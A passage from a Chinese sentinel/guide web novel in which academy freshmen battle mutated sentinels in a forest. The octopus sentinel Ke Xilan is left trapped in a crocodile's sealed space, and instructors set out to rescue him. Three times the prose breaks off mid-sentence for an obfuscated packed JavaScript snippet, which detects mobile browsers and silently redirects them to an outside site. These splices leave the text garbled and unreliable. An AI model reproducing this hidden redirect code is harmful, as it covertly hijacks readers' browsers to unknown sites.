其实现实宠物也差不了太多,向导同学和迟觉醒的哨兵同学说,他们养宠物的时候会把小猫小狗关在家里,自己和家人出去上学上班,不放心就装个监控摄像头,时不时拿设备查看它有没有乖乖吃饭,有没有拆家、弄坏东西、爬到危险的高处。 杭知澍就是这样嘛,在教学楼或办公室的窗玻璃前盯着他,看他有没有好好在跟其他小动物相处。 可是有的人觉醒哨兵后无法继续养宠物,有的人去军校后家中不再方便照顾宠物,就会把它们送养。 八爪鱼啃着营养剂,仿佛已经看到自己的未来,细弱地抽噎了两声。 旁边两坨毛绒同学怔住,对视一眼,不着痕迹地记下了这个尤其可怕的口味。 营养剂对精神力的回复需要时间,雎兰袅先前在林中已经使用过自身技能,现在趁周围哨兵环绕、环境暂时安全,也在自我回复。 目前情报一整合,除了被014小队教官俘虏的那只黑翅鸢2号、被客惜斓溶掉的疣猪哨兵,相当于已经现身的敌方六名哨向里还有四名随时有可能以完全失控异化状态反扑袭来。 客惜斓丧丧地指出:“还可以消掉一个,我和阿豹碰到的那只黑翅鸢被我直接抓手上注入毒素太久,内部机能破坏得差不多了,异化不了的。” 客惜斓话说完就感觉周围有点冷,虎鲸飞越森林刮起的凉风擦着左右臂,原来是阿豹阿猫悄悄地把身体挪远了,留出了两条缝。 事实上他解释的并非真实理由,为了不对身边同学透露太多按理普通新生缺乏途径获悉的知识——那只克隆体黑翅鸢经过他手,他明确知道对方并不患有神游症。 他自己得过神游症,自然判断得出来。 但这事不能往外说。 那么现在就剩下敌人三人,其一是林悬眠制服过的B级刺猬哨兵,其二是疑似先后袭击雎兰袅和林悬眠分别所在队伍并都成功逃脱的黑翅鸢1号。 不一定确切,但他从报废的黑翅鸢3号那里得来思路,推测有可能黑翅鸢仅仅是因为批量生产、其特殊技能可以降低偷袭难度才每个哨兵各配一只,其本身并非处在失控边缘的人体炸弹。 黑翅鸢1号有可能作为尚具有清醒意识的辅助出现,或是陷入疯狂的失控哨兵同伴的引导者,引导其做出一系列针对他们一行人的攻击行为。 以及,其三,危险程度最高的一个。 那条中了毒、被外力大树砸晕的鳄鱼。 那是一名A级哨兵,哨兵身体素质强于向导,A级精神力又强于放毒的客惜斓本身,更重要的是他的毒素攻击未曾触及对方的精神域、造成精神图景损伤,但凡他尚有异化余力,对在场一群已被大幅度消耗过的兵力而言,必然是一场苦战。 要知道交战途中、精神力虚弱之际,是最容易被神游症完全异化体逸散出来的污染侵袭的,对方已经无所顾忌,他们却有重重限制。 这里可以说集中了军校新一届里最强的四名人才,外加他们的强效腐蚀性挂件呲毒八爪鱼一只——大伙儿一合计,觉得还是客惜斓最好使,紧急关头还是找机会亮出八爪鱼,往客惜斓头上摁一泵,一键泡泡化尸。 “要达到你们设想的那个效果放我精神体和第二技能二选一,但如果不想被传染就不能直接冲敌人投掷精神体,只能用技能隔空打。”客惜斓叼着猫条一样的营养剂,蔫蔫而含混道。 ——用技能就要消耗精神力。 夏潆洄提议:“袅袅先给他加蓝?” 雎兰袅表示同意,客惜斓却摇摇头:“考虑其他战术吧,不要把我的技能作为关键步骤,普通放个毒当补刀和彩蛋还行。” 他短短一顿,旋即道:“不是我对天鹅姐姐没信心,我的匹配域真就一个指甲盖大,同样一发奶别人能加50%,奶我可能只有10%,大家现在都缺蓝,不要白白浪费向导的精神力。” 雎兰袅之所以被公认为新生向导第一,除了本身B-5的等级之外还有一层原因,就在于她精神力优质的同时匹配域广,面对非匹配伴侣的哨兵,一般向导能回复的精神力只有30-50%,而她对大部分合作过的哨兵都能加到60%以上。 其余三人正是了解这点,才如此信任她,并且下意识认为有雎兰袅在,客惜斓的第二技能还能再次启用。 边越和夏潆洄还想让他先试试,雎兰袅却认可了他的解释。她身为家学丰厚的向导,心知匹配度是可以从吸引程度上直观看出的,因而并没有对自己的能力过于坚持,转而道:“那营养剂对你的起效情况如何?” “和大家一样,营养剂不挑人。”他答。 三个A级哨兵立马各掏一袋甩到他面前,催促他吃快点。 八爪鱼耷拉的眼角又掉了两滴。 通体冰铠的精神体虎鲸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418408|168911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浮游在森林上空,向着大部队所在的山头另一侧行进。客惜斓加速咽下营养剂,眼珠分心转动,注意着下方森林里是否有近似他两名断联室友的精神力能量闪现。 他们探讨也警惕了一路,期间并无返场敌袭,虽仍保持着各负责一个方向、各放各的精神触须进行侦查的状态,也不免口头上稍微松懈了一些。 边越心怀希冀道:“说不定我们就这么安全抵达了,等到了大部队,跟校内联系上,学校就能派更高级别来清理那些——” 他质朴的话音随即淹没在嘶哑鸟叫里。夏潆洄凌厉回身,不及客惜斓出声提醒,护目镜一按,当即势如鲸喷水柱般往声音来源处、鲸首右侧凌空冲去,半径百米范围内,森林如倒置钟乳之林,同时蹿起数十幢白气栗冽的冰锥! 逆戟鲸精神体第二技能,长鲸白齿! 座下长鲸化为冰屑幻影,两只大猫盘团的腿脚抻放、化为人形,雎兰袅向下扇动狭长而末梢溅白的黑羽翼,上掀,托起一阵饱含落叶的大风,为坠落的三人提供缓冲,同时精神力锁定几百米开外空中疾冲的夏潆洄背影—— 回复! 被直牙般的巨型冰锥刺破、树木倾塌倒伏的森林表面,掀出一只浑身爆刺、发出悚然尖啸的怪物。那领航般的鸟鸣再度响起,半空中异化刺猬车轮般急速滚动起来,针芒三百六十度全方位发射。 精神力盾甲浮出众人体表,叮叮地抵挡着这些诡异的长针,在长达十秒雨打般的攻击中,盾甲层肉眼可见地消退、被腐蚀。下方被刺入树干的树木生机萎靡,转瞬间树冠枯萎下塌,树皮蔫黑流滴。 夏潆洄手握水流湍绕的颀长冰戟在树林中呈S线穿行,追踪鬼影莫测的黑翅鸢。她头也没回,只一意盯准前方,敞放的嗓音高亢清亮:“袅袅!看好了吗?” 雎兰袅同样扬声应她:“没问题,能用!” 撕心裂肺般的可怖鸟鸣再度响起,随之而来的是从发声位置的茂密树盖下爆散开的音波轰鸣,周围所有树木震荡开,放射状倒匐,暴露出土地,仿佛一轮畸异太阳暗绿的焰芒。 逆戟鲸精神体第一技能,定点音爆! 浓尘之中,一只白羽灰黑翅的大鸟腾起,还原为人形,诡谲红瞳于烟尘中亮起的一刻,被一把巨大的三叉戟穿胸而过! ——是那把夏潆洄时时握持手中的巨戟。 逆戟鲸精神体第三技能,冰海战戟! 与此同时,如哨音的鸟鸣升起后不到五秒,空中刺团再度高速旋转,放出如雨长针。黑天鹅狭长的双翅一撇,如刀锋划向下,以雎兰袅为中心,人影下方,荡开湖水般縠波微澜的幽暗巨圆,半径五十米,仿佛有无穷的吸力,将爆散开的异化刺猬长针通通吸纳入黑湖水面! 黑天鹅精神体第二技能,寂静湖。 范围内吸收所有敌人攻击! 针刺吸纳完毕后,湖面消失,黑天鹅双翅上扬,少女头顶十几米空中飞旋出又一张雪白之圆,色如黑天鹅羽翅末端纯粹洁净的白,降雪般往下方散落大量雪白羽毛。 黑天鹅精神体第一技能,惊鸿雪。 落到每个哨兵身上,那是刚被吸收后,迅速过滤净化的精神力! 18. 第 18 章 那羽毛雪白,飘飘散散落到头顶、肩上、探出的一片两片手掌中,化为新雪般的精神力融进身体,令人精神域一清,五感为之锋利。 客惜斓感受着零星的回复,心道果然,即使以技能形式施放,他能得到的增幅也微乎其微。 不管怎么说,蚂蚁肉也是肉。 这波主打的一个转手倒卖,烧的反正不是自己人的精神力,不可惜。他在地面抬眼,目光循去,空中的雎兰袅似有觉察,转头轻柔一笑。 过滤转化类技能,这个女孩子不简单啊……雎这个姓的鸟类精神体,是哪个很厉害的隐世向导家族吗? 其实入世的他也不怎么认识,全靠道听途说。 他在想,鸟哦,要不要回去问问贺旗,感觉他和秦罗弗两人对这种显贵哨向家族还挺有了解。不过话说回来,一路都没见着半根鸟毛狮毛,贺旗不会真被霍河樵埋了吧…… 室友,室友虽然有时候吵吵的,阴阳怪气的,木头木脑的,但是人都还不错啦……换个寝室不一定接受得了和毒海鲜同宿一室吧……他会不会被孤立……说起来会不会有机会保研…… 他想了一下,觉得读四年完全够了,再多就有点汗流浃背了,他不想天天写论文,他的八只触手应该用来打架而不是打字。 保佑室友。圣洁的天鹅飘雪中,他用八只手一起祈祷。 - 树林浓密荫盖下,看不见的遥远处轰然震响,林间树木俱颤。贺旗下意识甩开宽大羽翅,低颈,拢覆住头耳以下。待到音爆余震逐渐沉降完毕,才簌簌地抖翅收回。 羽翅还原回双臂,他鼻子痒痒地转过脸,打了个很小的喷嚏,皱眉起疑道:“哪个在骂我?” 他伸长颈子,好奇地往后望,想看看音爆传来的方向,颇为感慨:“好久没见着这种大炮开兮轰他爹的打法了,可真是……”[注1] 他话音断散在半空,没了下文,唠嗑欲也戛然而止。 差点忘了,身边这既非能随时随地接茬互呛的发小,也不是会被他贫嘴逗得咯咯笑的可爱小向导。 ……这个闷葫芦。 前边枝桠低垂、树叶下拂,即将扫到脸,他连忙低头,紧紧挨到了正背着他林间徒步的霍河樵的耳边。 霍河樵一路不声不响,方才被羽翅倾头泼溅,这时被阴影遮挡,看不见路,脚下不得不一顿,终于开口道:“你不要一直动。” 他怏怏地没说话,固然作为受帮助的一方气短一截,心里却不由得着恼:谁叫你不让我自己飞的,又没求着你背。 森林繁密,但森林又是最好的遮障。霍河樵说敌人也会飞,正在上空盘旋盯梢,不想被催眠后抓走就老老实实用脚走。 至于为什么不用他的精神体狮子代步—— 霍河樵言简意赅:“受伤了。” 是有几分可信度,解释了为什么需要向导素安抚。 贺旗心里嘀咕:这人说话做事一点表情没有,电影里仿生人都比他富含情绪喜怒。 向他讨要向导素的时候是如此;那天夜里忽然抓住他手腕,直直抵向自己颈侧,要他动手杀了他的时候也是如此。 温热的、皮肤下动脉管跳动的触感挨着手。 他确实打不过,也确实被慑住了。 这人不正常,十有八九。真被砍了都没地方说理去。 不让动,不开口说话交流,本就昏昏然的精神很快被步行推进时有规律的晃动催沉。他实在很不愿给出向导素,伪装哨兵使用的抑制类药物让身体长期处于向导素低分泌状态,突然间在外界刺激下上涌,身体不适应,整个人都不舒服得很。 霍河樵仍旧静默地走着路,脚下野草唦唦,忽然低低道:“贺旗?” 疲惫负伤的白鸟在他背上睡着了。 这次是他主动停下来,微微偏头,盯着对方骄矜褪色后清淡而温驯的一张脸,呼吸柔缓,片片地碰着他脸颊。 前方不远处的灌木丛皴起小片窸窣声,仿佛有什么沉重物在挪动,霍河樵皱起眉,重新转过脸,眉宇间已悄然阴郁下来。 “走。”他对着那灌木丛中游动的阴影说道,“去别的地方。” 暗绿掩映,那高耸的阴影发出迟慢的响动,退化的声带溢出闷闷隆隆的低吼。 百兽之王眼眸中血光陡燃霍亮,在那幢阴影足趾前不到半米处刹地燎起一丛狭长的漆黑色火焰,火线犹如划出的边界,倾斜燃烧,足有半人高,凶戾地警告对方。 那阴影缓慢挪动着,一步步退开,终于转身,带着粗沉的喘响,往林间迈步走去。 火焰又悄然熄灭。 - 夏潆洄和雎兰袅自有配合的默契,不需要他提醒点明,前者一出击就发觉那只黑翅鸢并未显露出神游异状,雎兰袅的技能似乎也能包容同级别及以下的能量。 或者说,吞噬? 挪而为己用。这么奇特的能力,不知有多少人想要得到。 失去指引的异化刺猬悬浮在空中,在上一波放刺攻击后诡异地沉寂着,似乎还在继续发育。 果然……必须是还存有哪怕片点神智才能听懂黑翅鸢鸟鸣的指令,或者说,还保留有能被调动的愤怒和恐惧。 这也是一个不完全体! 他们的胜算大大提高,但仍必须极度谨慎,避免沾上污染。 夏潆洄开局先斩对面辅助,血液飞溅出的瞬间凝结成暗红的冰霰,冻成厚厚冰坨的敌方向导则和碎裂消散的冰海战戟一同坠落,晶莹峭石般镇在了音爆形成的空地中央。 确认刺入的是黑翅鸢本体后,她立刻脱手这柄战戟,真正做到即用即抛。 天鹅散羽的精神力增幅下,精神力回复60%,她毫不费力地迅速重构出一柄全新战戟,如鲸浮于海般悬浮空中,三叉戟尖指向天空之下的森林。 这是部分海洋生物精神体在精神力达到一定程度时享有的能力:通过在周身转化为水环境的精神力,像有翅生物一样保持长时间的悬浮。 上一世的S级蓝环章鱼哨兵同样能借此浮空。 ——现在嘛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418409|168911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只能把触手当橡皮筋使劲拉扯,保护自己不摔成一滩蓝圈豹纹果冻了。 客惜斓用吸盘扒拉着新的幸运大树,很惆怅地想。 无法飞行的不止他一个,边越和林悬眠同样如此。因此需要把那只异化刺猬驱赶回地面。 他们一路上针对各种情况做出了模拟,为了避免沾上污染,需要在发出攻击的同时切断转化为攻击力量的精神力与哨兵本体的联系,因此像边越的困兽之笼这类技能虽便于瞄准和捕捉,却不能对着失控异化状态下等同于污染源的敌人使用。 夏潆洄压低身体,在水流形态的精神力包裹下尖锐弹头般往前跃冲! 如鲸喷水,幻化长虹,天空日光照耀下,逆戟鲸哨兵身附水流残虹,疾冲到直径一人高的异化刺球上空,倒立,放开双手,让长达三米的冰冻巨戟犹如达摩克利斯之剑倒悬于刺球上方,精神力压缩于一点,向战戟长杆末端悍然推出! 夏潆洄精神力凝结成半球状冰壳,阻挡戟尖刺入异化刺球后溅出的污染物质,刺球尖啸着被直直锥入下方森林,失去精神力纽带的冰海战戟在污染腐蚀下迅速碎裂、流散,落入树海的一刻已经丧失桎梏。 那树冠片连着片,连成波涛浓密海面,汲取了醉意与狂性,发疯般激烈生长,在接触到刺球的一刻,尖硬树枝如源源不绝的蛇身缠绕在其表面,不断勒紧,树枝上倒刺和刺猬球表面硬针互相摩擦,爆发出阵阵剧烈刺耳声响。 树枝仍在汩汩生长,粗壮木须瀑流般下压,将它牢牢摁在地上,那刺球猛力挣动,发出一轮针刺,腐蚀掉一批狂化植物,立刻又有新的植物加速生长,填补枷锁的空缺。 木须瀑布仍在下压,哨兵视觉精微,发现那钧压下的硬化刺猬球似乎蔓开了一丝微弱的裂纹。 它要爆炸! ——大雪崩塌而下! 树上的猞猁哨兵戴着挡风雪的护目镜,暴雪疏松,数十吨压下,涌起剧烈雪粒与冷气,白色海啸般生生埋没被树枝禁锢的巨大刺球,冰雪厚沉坚实,弥合而掩盖了刺球表面刚刚绽开的裂缝,没有一丝污染外泄! 猞猁精神体第三技能,雪崩。 也戴上背包里配备护目镜的边越格外怨气深重:“我就说教官说你们预防意识强、懂得提前采取措施是怎么来的。” 这波是控木的生下来就输了! 各自释放过最消耗精神力的第三技能,空中的雎兰袅黑色羽翅扇动,圈定四名哨兵进行回复。 又零星地增长了一点,加上刚才吃进去、已经起效的几袋营养剂,客惜斓感受到当前的精神力已经攒够到让他两种技能各施放一次。 顶着队友的目光,他接近树枝撤退后掩埋在雪丘下的异化刺猬。液态蓝环章鱼虚像在身后凝结,由浮泡簇集而来,又不断散发出梦幻的剧毒浮泡。成群泡泡涌向雪丘,发出嘶嘶的溶化和腐蚀声,雪丘一寸寸下塌,最终轰然平泄在地表,再度扬起浓白的颗粒雪雾。 那白雪之下覆盖着什么,混淆在雪水中的液体,连颜色也不为人知。 19. 第 19 章 这是她手上最后一袋营养剂,夏潆洄两三口啃完,手往空中一挥,召出长达十八米的精神体逆戟鲸,往上一跳,边说道:“走吧。” 她有一种不太好的预感,虽然解决了异化B级刺猬,心里却莫名地打突,直觉应该快速离开这里。 除了客惜斓以外的其他几人却由衷地挺高兴,面上有不同程度的表露。 坐在虎鲸背上,边越冷得豹毛噌噌竖,忍不住开口:“你盾甲会不会开得太冷了?客惜斓都冻青了!” 夏潆洄回头看了一眼挤在黄黑两团毛绒抱枕里眼眸呆滞的八爪鱼公仔,又转回前方,沉默几秒钟后,突然道:“你们有没有觉得。” “几十秒前就是这片树林。” 她说话常常省前略后,但熟悉的人能快速理解到要义。雎兰袅迟疑道:“你是说,我们可能进入了一个循环,开始在同一片地方打转?” 她语气已经带上凝重。 巨大的虎鲸仍在森林上空飞行,这一次,所有人都悬着心紧密注视着周围景物变化,无声无息间、虎鲸仍然呈线性的行驶中,景物毫无征兆地还原回了方才经过的树林。 客惜斓张嘴,满口牙齿嘚嘚打架,白雾团团、黑眸空空,边说边驯化舌头:“……它它它已经能、能带A级技能了!不是已经完全异化了就是快了。” 这很熟悉,但不完全,看起来像是在刚刚那条A级鳄鱼的隔绝环境技能基础上变异出来的。 夏潆洄指出疑点之后,笼罩在浮鲸冰冷精神力盾甲下的其余几人也迅速凝结出自身盾甲。 虎鲸仍然游动,眼见第三次即将到达循环起始点,夏潆洄凝眉道:“我们全力一击,趁空间还没完全形成,轰一个洞出去。” 她的判断依据是目前仅仅是一个百米范围内的循环空间,除了鬼打墙之外并未出现其他显著的变化,树林还是树林,与之前客惜斓、边越所描述的沼泽环境不同。而根据课本知识,哨向因神游症恶化引发的完全失控状态下,属于精神体动物的习性将反向覆盖人类意识,会本能地陷入对精神体动物栖息环境的渴望和追求。 也就是说,那条第三技能是将原始环境封闭隔绝后转变为沼泽的鳄鱼,在失控异化后应该也会本能地将周围拉入沼泽环境当中。 它和先前遭遇的两只不同,已经能使用原本的最高阶技能,但现在这个技能还未成形。 雎兰袅在鲸背上张开漆黑翅膀,逆风看向客惜斓:“给你加吗?” 他已经告知过队友,目前只剩下能释放一次技能和维持盾甲的精神力,梦幻浮沤刚刚用过,身体里毒素的回升也需要时间,短时间内无法再释放。 混沌潜行需要配合近身刺杀或放毒,并非直接攻击技能。 冷风与气流吹乱头发,客惜斓仰着脸,在阴影笼覆下,显得眼珠阒黑无光:“不,都给他们。” 回复光圈套在另外三人身上,这也是雎兰袅能放出的最后一波补给,向导需要留有自保之力。 敌人是A级变异,她的第二技能“寂静湖”无法吸纳和过滤本身等级高于她的能量,还有被污染的风险,必须时刻保证周身精神力盾甲完好。 光圈消失,此时已经是逆戟鲸第五次向循环的起始点驶去。 三名A级哨兵同时再次释放输出最大的第三技能,一时间森林上方数米处,暴雪,冰戟,自下而上奔涌的树枝藤蔓,汇聚于一点,天空黏腻地融化开,淅淅沥沥往下滴,从封闭空间外照射进了一束日光,亮度与内部显著不同。 ——昭示着被固定和剥离出现实之后,外界仍在正常流逝的时间! 那窟窿一经破开,立刻在嘶嘶地自我修复,与此同时,虎鲸背上的所有人都感受到了一股阴冷黏湿的注视,似乎从下方森林里幽暗地传来。 为避免虎鲸精神体直接接触到空间障壁上存在的污染,夏潆洄将鲸头停泊悬空在距离窟窿有一段距离处。她当即将雎兰袅推出窟窿,向导双翅消失,通过窟窿,在外界再次放出翅膀,悬停等待。 巨大的虎鲸精神体无法以原貌通过,夏潆洄理所当然地先抓住精神力最低的客惜斓的背包,另一手抓住被林悬眠推到前面的边越,就要往窟窿外冲。 雎兰袅在外面焦急地喊:“不行,这洞一直在缩小,一次性三个人过不来!” 客惜斓突然说:“我个头小,先推他们出去。” 只停顿了一秒,夏潆洄立刻转头,不顾边越的叫嚷,把他提着迷彩服后领一股脑塞了出去,下落,被飞在空中的雎兰袅拎住。旋即以同样手法抓起林悬眠往外投。洞口此时已经缩小到最多只能通过一名身材较精瘦的成人,客惜斓再次拒绝夏潆洄伸出的手:“你比我高,先走。” 客惜斓两脚悬浮,微微脱离开鲸背,显露出部分海洋精神体特有的能力。 夏潆洄没有起疑,她的精神体虎鲸开始变得虚幻,跳出窟窿的下一秒就转身推出一条由最基础精神力凝结而成的颀长冰杆:“抓住!” 章鱼触腕卷曲绕上,吸盘在光滑冰杆表面难以附着,只能死死缠绕住,在触手因为缺乏摩擦力滑落之前,戴着黑手套的手终于握上了冰杆后端,冰杆不断往回收,洞眼不断缩小,在客惜斓手接近窟窿眼的一瞬,里空间下方的森林忽然传来一声喑哑闷隆的鳄吼。 夏潆洄正在背后三人的助力下全力拉回冰杆,原本还足够一名瘦弱少年通过的窟窿倏然弥合—— 喀嚓! 冰杆被弥合的障壁生生绞断在半空! 他也不知道外面还能不能听到,冰杆断裂的刹那,最后冲他们喊了一声:“回去找教官!” 记仇的东西。他在下落途中想道。它记住了我的毒素和气味,果然不会轻易放我离开。 但是,那四个同学能出去就行了。四个人里有这届仅有的三个A级哨兵,这届最强的向导,两个、不,也有可能是三个出身世家。 如果他们出了意外,这次带队的教官必然要被多方追责。 杭知澍…… 下落的感觉太熟悉,上一次是他胸口插着杭知澍的匕首,彼时流逝而渐暗的意识中响起朦胧的爆破声,仿佛幻觉,不知道来源于哪里。 在这下落的短短几秒之间,胸口飞出了蝴蝶。 小提! 杭知澍的精神体分身,第一小提一直蛰伏在他衣领夹层里冬眠,此时远离寒冷的逆戟鲸盾甲,周围渐渐回温,蝴蝶终于苏醒。 鬼使神差,客惜斓骤然伸出柔韧的触腕,迅速缠绕住突出的粗壮树枝,在身体接触到地面之前,荡回了一棵高树上。 他的另一只手护在胸前,单膝跪踞,虚拢着淡绿的、散发出荧荧辉光的蝴蝶。 没有主人意识的接入,蝴蝶分身像普通的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418410|168911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带翅小动物,无忧无虑地环绕着客惜斓飞转,洒下点点淡绿光粒。 仿佛感受不到周围迅速沉降的郁暗气息,客惜斓眼睛随着蝴蝶飞舞转动,蝴蝶飞倦了,啪叽一声,又贴到他胸口,他跟着安静片刻,黑眸静寂,忽然低下头,吹出两口极轻微的气。 “咻咻。” - 森林中没有新的消息传来,等待的时间很漫长,杭知澍尝试拨通留在客惜斓身边的蝴蝶,对方却一反常态,一直没有接听。 唯一的好消息是,他们刚刚已经联络上了校内,派出增援的直升机会在两小时之内抵达,先将伤员接走,运输大部队的装甲车也在路上。 一阵裹挟冰霰的冷风兜头泼来,具现化的巨大虎鲸精神体如乌云压境,为避免掀起大风,克制地缓速沉到了地上。还未完全着陆,从上面陆续跳下来几个学生,他目光一扫,刚想开口询问,看到上过他理论课、直到上次联络都还和客惜斓在一起的黑豹学生极速向他们奔来,一面急切喊道: “教官!客惜斓、客惜斓没出来!” “他还在鳄鱼制造的空间里!” …… 杭知澍从没像现在这样头疼过,在口条相对清晰的猞猁和天鹅学生的汇报中大致搞清楚事情始末、了解到小八爪鱼的精神力亏空现状和难被回复的特质后,他按下情绪的浮躁,随手甩了一把精神触梢拍拍他们脑门作为精神安抚,人已经转身去和其他教官商量。 身后黑豹学生的吱哇乱叫吵得他太阳穴跳疼,杭知澍快速一呼吸,开口道:“目前是三名学生断联,其中一名已经遭遇空间封锁型技能,面对的是一名A级失控异化哨兵,随时可能发生生命危险。已知确切坐标,我申请进入森林救援。” 说到“生命危险”的时候,他差点咬不住字。 他知道他在这里最重要的职能是维持蝶巢的运作、收发消息,略作停顿后很快又接着道:“学校已经派出直升机增援,我留在这里的主要作用是通讯,以这边营地目前二十九个A级教官的实力等待两小时……” 徐榛打断他:“别发癫,你一个向导打算一个人去和同级别异化体叫板吗?谁捞谁到时候?” 转而道:“我跟你一起……” 一直沉默聆听的陈森昱这时突然开口:“是我们最开始的决策失误,导致学生陷入危险。” 当时下决策时陈教官实际并不在场,但这里出的任何事情都将由本次野外带队的三十名教官集体担责,他很清楚。 这位A-3级前线退役的哨兵教官沉声道:“遇险的那个学生是我队伍里的,我过去,你们留在这里。再叫一个匹配域广的向导教官跟我,等人找到,如果能给他先回复是最好,不能就直接带出来。” 尽管他是如此打算,在场教官都明白后边这句话想要落实到好的那面,可能性是十分渺茫的——雎兰袅是这届新生里综合素质、包括匹配范围在内最优秀的向导,如果她加不上客惜斓的精神力,换在场任何向导教官恐怕成功的可能性都很微小。 正因为如此—— 杭知澍道:“我必须去。” 他的眼神在这一刻平静下来,尽管心仍在快速跳动,他想,客惜斓没时间耽搁了,于是极利落地托出了心中笃定的所想。 “我给客惜斓做过精神梳理,不止一次。他的精神力,我能加上。” 20. 第 20 章 这里的地面布满落叶枯枝,正以人眼中极为缓慢、而远超自然界分解过程的速度腐化。丛林中湿度上升,弥漫着盘虬深绿根须的土壤渐渐黏滞而多水,树下传来嗒嗒的滴水声。 在这样寂静得仿佛返回到古老生代的丛林中,他蹲踞在树枝上,利用衣物之下隐秘的吸盘牢牢吸附着,毫不在意地从背包和口袋里掏出剩余的营养剂清点过数。 塑料包装袋发出阵阵窸窣声,响在丛林间。 剩下四包,他不免庆幸自己有先见之明,事前就注意多囤多带。其中一包是刚才还在鲸背上的时候边越塞给他的,在他拒绝雎兰袅的回复之后。 他从前就难有稳定搭档,除了身具剧毒影响与人合作、身边向导在组织非人道的竞争模式下淘汰得太快以外,更重要的因素是,只有很少的向导能加上他的精神力。 直到遇上同样特别能苟、耗死了一打哨兵搭档的夜枭。 他已经死了一次,但始终不能理解组织。很久以前他们都天真地以为只要等级提高、变得有用就有了生活待遇保障,却在无意中听到看守者闲谈时骤然熄灭希望。他们用的是午饭时掉了一块肉的语气,提及一名难得变异出强悍能力的A级哨兵的报废。 那个时候他还住在一间毒物混养缸里,满以为升入高阶、能接任务之后生活会截然不同。 如果组织投入资源养殖和训练他们不是为了收获能力强悍稳定的高阶哨向以供驱使,那又是为了什么? 从C级到S级,他一直在接受实验。 他坐在飞行器里,高空之上,看着走来走去的焦虑向导,再一次思考:究竟为什么,可以随手轻易报废一个S-3的哨兵,和一个A-3的向导? 高阶向导比哨兵稀有得多,他知道换做是在任何势力,这样的等级配置都意味着所属组织将拥有不可挑衅的地位。 停止实验,让他们活下去继续为组织执行任务、甚至抵挡军方,所能创造的价值不是更大吗? 这个世界上除了各国军方之外的非正规哨向组织不计其数,像组织那样热衷实验、四处策划袭击、抢劫偷运货物的也有许多,他们的目的无非是在于金钱和权势,利用麾下哨兵向导的出生入死堆累成金山银山,以供老板和高层们挥金如土的享乐生活。 他们做实验、改造人体是为了获得趁手的武器,用武器去开拓财路,进一步巩固势力。 但他所在的那个组织给人的感觉却不是。 组织需要的并不是武器,那更像是他们被生产出来、没达到预期后附带的用途,为了追逐和实现那个真正的目标所构造的流水线履带上的一节。 组织需要哨向,大量的、源源不绝的高阶哨向。 客惜斓机械地吞咽着营养剂膏体,在树叶阴影下,漆黑的眼眸缓缓睁圆。 他们需要高阶哨向。 最好还是年龄小、身体素质强的高阶哨向。 ……所以,盯上了每年固定在这个时间点外出的军校新生? ——会是组织吗? 他不得不结束短暂的思考和休息时间,因为失控的怪物似乎中止精神的混乱、又找回了对猎物的狩猎欲,那沉重的喘响伴随蹼爪踩碎枯枝败叶的动静一步步蹚近。他把吃完的包装袋折叠,放进垃圾袋里,扎好,拉上双肩包的拉链,带着蝴蝶连荡几下,再次换座到几十米外的另一棵树上。 在营养剂的回复达到有一击之力的程度前,他只能像室友的单机关卡类游戏一样,在丛林间逃亡。 - 另商议选出哨向教官各一名进入森林搜索霍、贺二人后,陈森昱和杭知澍按照学生们给出的坐标范围出发,搜救客惜斓。 杭知澍精神体本体和分身之间的联系被那无形障壁切断,无法确认落入封闭空间后客惜斓的状态变化。A级精神触梢敞放开,半径一百二十米,在茂密林间保持侦查,终于在大约半小时后感知到蔓延出的精神触梢前疑似出现了巨大的障碍物,无法朝那个方向再推进一步。 虽然没有直接接触到,他仍然保持警惕,那把淡绿晶莹的触须一黯,从四分之三处直接刈断,迅速消散在半空中。 陈教官道:“就是这里?” 单凭肉眼看,眼前景物与周围衔接自然,丝毫看不出有拼接和隔断的痕迹。 得到肯定的答复后,这名A-3级树蝰哨兵眼珠覆上冷黄绿色和闪电般的皲裂纹路,黑色瞳仁拧缩,伸出的手部覆盖上一层亮青绿间杂深橄榄绿色的鳞片,鳞片尖耸、起棱,更接近神话中的龙。 一个凝聚精神力能量的光球迅速袭向眼前空中,距离人有七八米处时,光球像触碰到透明卵壳般发出咝咝滋滋的细密响声,而后黄绿色电光乱窜,轰然炸响! 爆开的光球内流出基伍树蝰的毒液,快速将仍然闪有细弱电流火花的窟窿周围继续腐蚀,使裂口扩大,毒液在引力作用下更多向下延伸,直至形成能容纳两三个人同时通过的巨大圆拱形门洞。 阴冷潮湿的空气从门洞内传来,与外界景物相比,光色上肉眼可见地灰暗了好几度。 难以想象的顺利。陈教官撤去挡在面前的巨大半球形精神力盾壳,与身后的向导对视一眼,率先大踏步往门洞中走去。 